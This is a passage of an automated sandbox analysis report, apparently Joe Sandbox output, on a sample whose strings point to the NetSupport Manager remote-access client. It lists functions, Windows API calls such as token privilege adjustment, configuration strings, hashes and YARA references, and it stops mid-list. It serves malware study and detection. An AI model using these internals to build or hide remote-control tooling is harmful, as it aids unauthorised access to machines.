Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: Time$System$CriticalFileSection$CurrentEnterLeaveThread__strdup_free
String ID: 1.1$ACK=1$CMD=POLL$INFO=1
API String ID: 1510130979-3441452530
Opcode ID: 4b614711c9917101a9c2084e4b2f08b331ea9d62280805306bc76c0680d4c0c3
Instruction ID: af380195d1e21f30bdfc9e1bba848f2f398b1c5eec60eda308c213ca68385834
Opcode Fuzzy Hash: 4b614711c9917101a9c2084e4b2f08b331ea9d62280805306bc76c0680d4c0c3
Instruction Fuzzy Hash: AC617472904208EFCB14DFA8DC85EDEB7B9FF89305F14451AE416A3B50EB34A908CB55

Function 11115B70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11115BC5
CoCreateInstance.OLE32(111C081C,00000000,00000001,111C082C,00000000,?,00000000,Client,silent,00000000,00000000,?,1104BADF), ref: 11115BDF
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11115C04
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11115C16
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11115C29
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11115C35
CoUninitialize.COMBASE(00000000), ref: 11115CD1

Strings

SHELL32.DLL, xrefs: 11115BF5
SHGetSettings, xrefs: 11115C10

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction ID: 591e2108fd72310e634c09c07143bf968b2bad8d72189eb08e80a39284cb5d12
Opcode Fuzzy Hash: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction Fuzzy Hash: 1751A075A0020A9FDB40DFE5C9C4AAFFBB9FF89304F104629E516AB244E731A941CB61

Function 110733B0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110734E0
_memset.LIBCMT ref: 11073659

Strings

NBCTL32.DLL, xrefs: 11073595
serial_no, xrefs: 1107349C
_License, xrefs: 110734A1

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction ID: b704a80906741011c15d1468992a84ddd821d027e1e1ff2b1c0992d848e69eb8
Opcode Fuzzy Hash: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction Fuzzy Hash: 64B18E75E00209AFE714CFA8DC81BAEB7F5FF88304F148169E9499B295DB71A901CB90

Function 110310C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102E480,?,00000000), ref: 110310E4

Strings

Client32, xrefs: 110310C4
NSMWClass, xrefs: 11031103
NSMWClass, xrefs: 110310EF

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: 3211d65015dcc44e5dd59bdf27473333a197f9ceb9b14f7f353df042485d09a4
Instruction ID: e21dedaf74b0f8cf59cf3be59171af9e644e6a1753dc25f7f597d2ad8de8aca1
Opcode Fuzzy Hash: 3211d65015dcc44e5dd59bdf27473333a197f9ceb9b14f7f353df042485d09a4
Instruction Fuzzy Hash: 44F04F7891112A9FCB06DFA9D890A9EF7E4AB4821CB508165E82587348EB30A605CB95

Function 1109E910 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,00C22EB8,00C22EB8,00C22EB8,00C22EB8,00C22EB8,00C22EB8,00C22EB8,111EEB64,?,00000001,00000001), ref: 1109E990
EqualSid.ADVAPI32(?,00C22EB8,?,00000001,00000001), ref: 1109E9A3

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction ID: 8f268d00a2632c5decc73a479da56acc1190ac8ef7b7f04f8431c56e7d3a1b5e
Opcode Fuzzy Hash: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction Fuzzy Hash: 22217131B0122EABEB10DBA4CC81BBEB7B8EB44708F100469E919D7184E671AD00CBA1

Function 1109D440 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,A1BC2D8B,00080000,00000000,00000000), ref: 1109D46D
OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction ID: 1acc50509d1dc0efa8f8b8857b060522b21de2b31161cc556941a9c494b785c9
Opcode Fuzzy Hash: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction Fuzzy Hash: AE015EB5640218ABD710DFA4CC89BAAF7BCFF44B05F10452DFA1597280D7B1AA04CB71

Function 1109D4D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109E810,00000244,cant create events), ref: 1109D4EC
CloseHandle.KERNEL32(?,00000000,1109E810,00000244,cant create events), ref: 1109D4F5

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction ID: ae8e9f792a84aceb39bcb46fd7c9804e810fa9328d8f27f892a8d401e6504800
Opcode Fuzzy Hash: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction Fuzzy Hash: 55E0EC71654614ABE738CF28DC95FA677ECAF09B01F11495DF9A6D6180CA60F8408B64

Function 1102E640 Relevance: 241.6, APIs: 31, Strings: 106, Instructions: 1869windowthreadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetSystemMetrics.USER32(00002000), ref: 1102E7C4
FindWindowA.USER32(NSMWClass,00000000), ref: 1102E985

Part of subcall function 111100D0: GetCurrentThreadId.KERNEL32 ref: 11110166
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
Part of subcall function 111100D0: EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
Part of subcall function 111100D0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102E9C1
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102E9E9
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102ECAB

Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B4C
Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B59
Part of subcall function 11094B30: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B89

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102EA48
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102EA54
CloseHandle.KERNEL32(00000000), ref: 1102EA6C
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EA79
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102EA9B
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102E7F6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

LoadIconA.USER32(11000000,000004C1), ref: 1102EE45
LoadIconA.USER32(11000000,000004C2), ref: 1102EE55
DestroyCursor.USER32(00000000), ref: 1102EE7E
DestroyCursor.USER32(00000000), ref: 1102EE92
GetVersion.KERNEL32(?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F45F
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F4B2
Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000), ref: 1102FA52
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FA8C

Part of subcall function 11132BF0: wsprintfA.USER32 ref: 11132C60
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132C91
Part of subcall function 11132BF0: SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132CAC

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

DispatchMessageA.USER32(?), ref: 1102FA96
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FAA8
CloseHandle.KERNEL32(00000000,11027270,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1102FD40
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1102FD78
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000), ref: 1102FD7F
SetWindowPos.USER32(00030496,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 1102FDB5
CloseHandle.KERNEL32(00000000,11059C10,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1102FE36
wsprintfA.USER32 ref: 1102FFA5
PostMessageA.USER32(NSMWControl32,00000000,Default,UseIPC,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 110300F7
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103010D
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 11030136
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103015F

Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,A1BC2D8B,00000002,74DF2EE0), ref: 1112820A
Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 11128217
Part of subcall function 111281B0: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000), ref: 1112825E

Strings

gClient.hNotifyEvent, xrefs: 1102E80F
Global\NSMWClassAdmin, xrefs: 1102FF9A
Windows 2012, xrefs: 1102F81B
istaService, xrefs: 1102E6DB
CabinetWClass, xrefs: 11030257
Bridge, xrefs: 1102EABD
Client, xrefs: 1102EAC9, 1102EFE1, 1102F06E, 1102F08F, 1102F0FD, 1102F115, 1102F12D, 1102F157, 1102F181, 1102F1B7, 1102F1EC, 1102F204, 1102F21C, 1102F234, 1102F24C, 1102F264, 1102F28A, 1102F2A2, 1102F2BA, 1102F2D2, 1102F2EA, 1102F302, 1102F31A, 1102F332, 1102F445, 1102FA2B, 1102FAD6, 1102FB1F, 1102FCFA, 1102FD51, 1102FD6D, 1102FD94, 1102FEA4, 1102FEBF, 1102FEE0, 1102FFD1
Windows 2012 R2, xrefs: 1102F898
hClientRunning = %x, pid=%d (x%x), xrefs: 1102EAAA
DisableReplayMenu, xrefs: 1102F1FF, 1102F29D
V12.10.8, xrefs: 1102F98E, 1102F9C2
client32, xrefs: 1102EBE5, 1102ED82
Windows 7 x64, xrefs: 1102F794
Windows 2008 x64, xrefs: 1102F73C
DisableRequestHelp, xrefs: 1102F217, 1102F2B5
*ListenPort, xrefs: 1103009E
NSMWControl32, xrefs: 110300F2
ScreenScrape, xrefs: 1102F128, 1102F152, 1102F17C
DisableRunplugin, xrefs: 1102F110
Windows CE, xrefs: 1102F959
NoFTWhenLoggedOff, xrefs: 1102F315
win8ui, xrefs: 1102EDE8
Windows Vista, xrefs: 1102F6A9
AlwaysOnTop, xrefs: 1102FD8F
Windows 2003 x64, xrefs: 1102F672
RestartAfterError, xrefs: 1102F003
closed ok, xrefs: 1102EA5E
051829, xrefs: 1102FB8D, 1102FBE6, 1102FC27, 1102FD04
*BeepSound, xrefs: 1102F3A5
Windows 7, xrefs: 1102F773
Windows NT, xrefs: 1102F588
ShowKBEnable, xrefs: 1102F1B2
Windows Vista x64, xrefs: 1102F6D7
CLIENT32.CPP, xrefs: 1102E80A, 1102ED9B
UseNTSecurity, xrefs: 1102FEBA
DisableTSAdmin, xrefs: 1102F051
DisableAudioFilter, xrefs: 1102F0A2, 1102F47C
DisableAudio, xrefs: 1102F069, 1102F08A, 1102F0F8, 1102F25F, 1102F2FD
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102EB66
*StartupDelay, xrefs: 1102FA26
MiniDumpType, xrefs: 1102EF41
NSMWClass, xrefs: 1102E786, 1102E967, 1102EA74, 1102FF8F
NSMWClassVista, xrefs: 1102E775
Windows 8.1 x64, xrefs: 1102F86C
NeedsReinstall, xrefs: 1102EFDC
DisableJoinClass, xrefs: 1102F1E7, 1102F285
_debug, xrefs: 1102FA09
V12.00.8, xrefs: 1102F987
NSM.LIC, xrefs: 1102EAFD, 1102EB9B
Windows 10 x64, xrefs: 1102F8F7
Audio, xrefs: 1102F0A7, 1102F481
LSPloaded=%d, WFPloaded=%d, xrefs: 1102EFBA
Windows XP Ding.wav, xrefs: 1102F3E1
Error. Could not load transports - perhaps another client is running, xrefs: 1102FC63
Info. Trying to close client, xrefs: 1102EA34
Windows 95, xrefs: 1102F4C4
TracePriv, xrefs: 1102FA04
Windows XP x64, xrefs: 1102F639
Windows 8.1, xrefs: 1102F849
pcicl32, xrefs: 1102E954
Info. Client already running, pid=%d (x%x), xrefs: 1102E9CF
*ScreenScrape, xrefs: 1102FAD1, 1102FB1A, 1102FD4C
Windows 98, xrefs: 1102F4F5
Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 11030346
Windows 2016, xrefs: 1102F92E
UseIPC, xrefs: 1102FFCC
Intel error "%s", xrefs: 1102ED48
Windows 8, xrefs: 1102F7C2
*PriorityClass, xrefs: 1102FD68
DisableHelp, xrefs: 1102F32D
\Explorer.exe, xrefs: 110302FD
NSTWControl32, xrefs: 1103014A
DisableJournalMenu, xrefs: 1102F247, 1102F2E5
Error. Wrong hardware. Terminating, xrefs: 1102ECE9
General, xrefs: 1102EF28, 1102F008, 1102F377, 1102F3AA
DisableConsoleClient, xrefs: 1102F039, 1102F0CE
DisableJournal, xrefs: 1102F22F, 1102F2CD
Windows 10, xrefs: 1102F8C7
Windows Ding.wav, xrefs: 1102F3DA
UseLegacyPrintCapture, xrefs: 1102F440
Windows 8 x64, xrefs: 1102F7EA
Windows Millennium, xrefs: 1102F525
istaUI, xrefs: 1102E6F6
Windows 2000, xrefs: 1102F5B5
AssertTimeout, xrefs: 1102EF23
Session shutting down, exiting..., xrefs: 1102E7CE
TraceIPC, xrefs: 1102FFFF
IsILS returned %d, isvistaservice %d, xrefs: 1102ECBA
Windows XP, xrefs: 1102F5E3
NSSWControl32, xrefs: 11030121
Ready, xrefs: 11030161
EnableSmartcardAuth, xrefs: 1102FEDB
Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 110303E4
OS2, xrefs: 1102F567
_debug, xrefs: 1102EDED, 1102EF46, 11030004
EnableSmartcardLogon, xrefs: 1102FE9F
Windows 2003, xrefs: 1102F60A
NSA.LIC, xrefs: 1102EB0B, 1102EB12, 1102EB35
Windows 2008, xrefs: 1102F710
Default, xrefs: 110300EB, 1103011A, 11030143
cl32main, xrefs: 1102E673
Info. Client running as user=%s, type=%d, xrefs: 1102EA22
EnableGradientCaptions, xrefs: 1102EED0, 1102EEE7, 1102EF08
*BeepUsingSpeaker, xrefs: 1102F372
TCPIP, xrefs: 110300A3
View, xrefs: 1102EAD5, 1102EED5, 1102EEEC, 1102EF0D

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$Process$Window$CloseCreateEventHandlePostwsprintf$CriticalOpenSectionThread$CountCurrentCursorDestroyFindIconInitializeLoadObjectPeekSingleTickTokenVersionWait$ClassDispatchEnterErrorExitFolderLastMetricsPathPrioritySendSleepSystem__wcstoi64_malloc_memset
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$051829$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$CabinetWClass$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$General$Global\NSMWClassAdmin$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$IsILS returned %d, isvistaservice %d$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, 